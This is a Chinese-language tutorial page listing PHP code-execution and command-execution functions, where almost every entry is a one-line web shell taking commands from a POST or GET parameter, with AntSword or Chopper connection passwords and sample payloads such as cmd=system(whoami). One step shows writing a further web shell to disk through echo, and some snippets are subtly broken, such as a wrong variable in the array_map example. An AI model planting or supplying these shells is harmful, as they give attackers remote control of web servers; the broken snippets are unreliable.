您现在的位置是:首页 > 技术教程 正文

PHP常见的命令执行函数与代码执行函数

admin 阅读: 2024-03-15
后台-插件-广告管理-内容页头部广告(手机)

目录

代码执行函数:

1. eval()

GET和POST传参的区别 

2. assert()

3. call_user_func()

4. create_function()

5. array_map()

6. call_user_func_array()

7. array_filter()

​编辑

8. uasort()函数

9. preg_replace()

命令执行函数:

1. system()

2. passthru()

3. exec()

4. pcntl_exec()

5. shell_exec()

6. popen()/proc_open()

7. 反引号 ``


代码执行函数:

前提准备:火狐插件 Quantum  Hackbar (或者hackbar)      phpstudy  

首先打开phpstudy  在phpstudy 下的www目录中创建一个1.php文件,接下来的实验均在1.php中进行。

注意:php代码中函数前加@意味着他会屏蔽掉出错信息,而不报错,避免通过错误回显来推测数据库结构,对其进行攻击。

1. eval()

  1. 命令执行:cmd=system(ipconfig);
  2. 蚁剑连接密码:cmd
  3. 注意:eval要以分号结尾 传入的参数必须为php代码
  4. <?php @eval($_POST['cmd']);?>

GET和POST传参的区别 

 这里用的是POST型传参   POST型传参通过request  body 传参   而GET型传参把参数包含在url中

 可以使用标签来使结果规范化

  1. <?php
  2. echo "";
  3. echo eval($_POST["cmd"]);
  4. echo "";
  5. ?>

2. assert()

  1. 命令执行:cmd=system(whoami)
  2. 菜刀连接密码:cmd
  3. <?php @assert($_POST['cmd']);?>

3. call_user_func()

  1. 传入的参数作为assert函数的参数
  2. 命令执行:cmd=system(whoami)
  3. 蚁剑连接密码:cmd
  4. <?php call_user_func("assert",$_POST['cmd']); ?>
  5. 这里的 assert 是被调用的回调函数,其余为回调函数的参数。

 

  1. <?php
  2. call_user_func($_POST["dys"],$_POST["add"]);
  3. ?>
  4. 这里dys=assert; add=phpinfo();

4. create_function()

  1. 创建匿名函数执行代码
  2. 执行命令和上传文件参考eval函数(必须加分号)。
  3. <?php $func =create_function('',$_POST['cmd']);$func(); ?>

 第一个变量表示定义一个函数变量部分  第二个变量表示执行的代码部分

5. array_map()

  1. array_map() 函数
  2. 将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
  3. 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
  4. <?php
  5. $func=$_GET['dys'];
  6. $cmd=$_POST['cmd'];
  7. $array[0]=$cmd;
  8. $new_array=array_map($dys,$array);
  9. echo $new_array;
  10. ?>

 这个函数作用是为数组每个元素应用回调函数。

6. call_user_func_array()

  1. 将传入的参数作为数组的第一个值传递给assert函数
  2. cmd=system(phpinfo();)
  3. <?php
  4. $cmd=$_POST['cmd'];
  5. $array[0]=$cmd;
  6. call_user_func_array("assert",$array);
  7. ?>

7. array_filter()

array_filter — 使用回调函数过滤数组的元素

  1. <?php
  2. $cmd=$_POST['cmd'];
  3. $array1=array($cmd);
  4. $func =$_GET['dys'];
  5. array_filter($array1,$func);
  6. ?>
  7. 命令执行:cmd=whoami dys=system

8. uasort()函数

uasort () 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果成功则返回 TRUE,否则返回 FALSE。

  1. <?php
  2. uasort($_GET,'asse'.'rt');
  3. ?>

9. preg_replace()

  1. preg_replace('正则规则','替换字符''目标字符')
  2. 执行命令和上传文件参考assert函数(不需要加分号)。
  3. 将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
  4. preg_replace("/test/e",$_POST["cmd"],"jutst test");

命令执行函数:

1. system()

  1. 蚁剑连接密码:cmd
  2. <?php
  3. echo "";
  4. system($_POST["cmd"]);
  5. ?>

 在POST命令框输入cmd=ipconfig  即可在页面出现信息

 还可以用echo写入一句话木马,来进行连接

cmd=echo "<?php @eval($_POST['dys']);?>" >> dys.php

 

 

2. passthru()

passthru — 执行外部程序并且显示原始输出

  1. 蚁剑连接密码:cmd
  2. <?php
  3. @passthru($_POST['cmd']);
  4. ?>

 cmd=ipconfig 即可显示信息

3. exec()

这个函数有点特殊,他只输出最后一行

并且他的输出需要自己打印。(即用echo打印出来)

  1. 蚁剑连接密码:cmd
  2. <?php
  3. echo ""
  4. echo exec($_POST['cmd']);
  5. echo ""
  6. ?>

 

4. pcntl_exec()

pcntl_exec — 在当前进程空间执行指定程序

  1. pcntl_exec(string $path, array $args = [], array $env_vars = []): bool
  2. 以给定参数执行程序

path

path 必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)。 更多的信息请查看您系统的 execve(2)手册。

args

args 是一个要传递给程序的参数的字符串数组。

env_vars

env_vars 是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的,key 代表要传递的环境变量的名称,value 代表该环境变量值。

5. shell_exec()

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

  1. 蚁剑连接密码:cmd
  2. <?php
  3. echo "shell_exec($_POST['cmd'])";
  4. ?>

 

6. popen()/proc_open()

该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

  1. <?php
  2. $cmd=$_POST['cmd'].">>1.txt";
  3. popen("$cmd",'r');
  4. ?>
  5. $cmd将文件查询结果放入1.txt popen将该文件赋予可读权限
  6. 在linux里,命令为
  7. popen("/bin/ls",'r');

 

 

7. 反引号 ``

[``]反引号里的东西也会被当成系统命令执行

whoami可以直接执行

  1. <?php
  2. echo `whoami`
  3. ?>

  1. <?php
  2. echo "";
  3. $cmd=$_GET["cmd"];
  4. echo `$cmd`;
  5. echo "";
  6. ?>

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索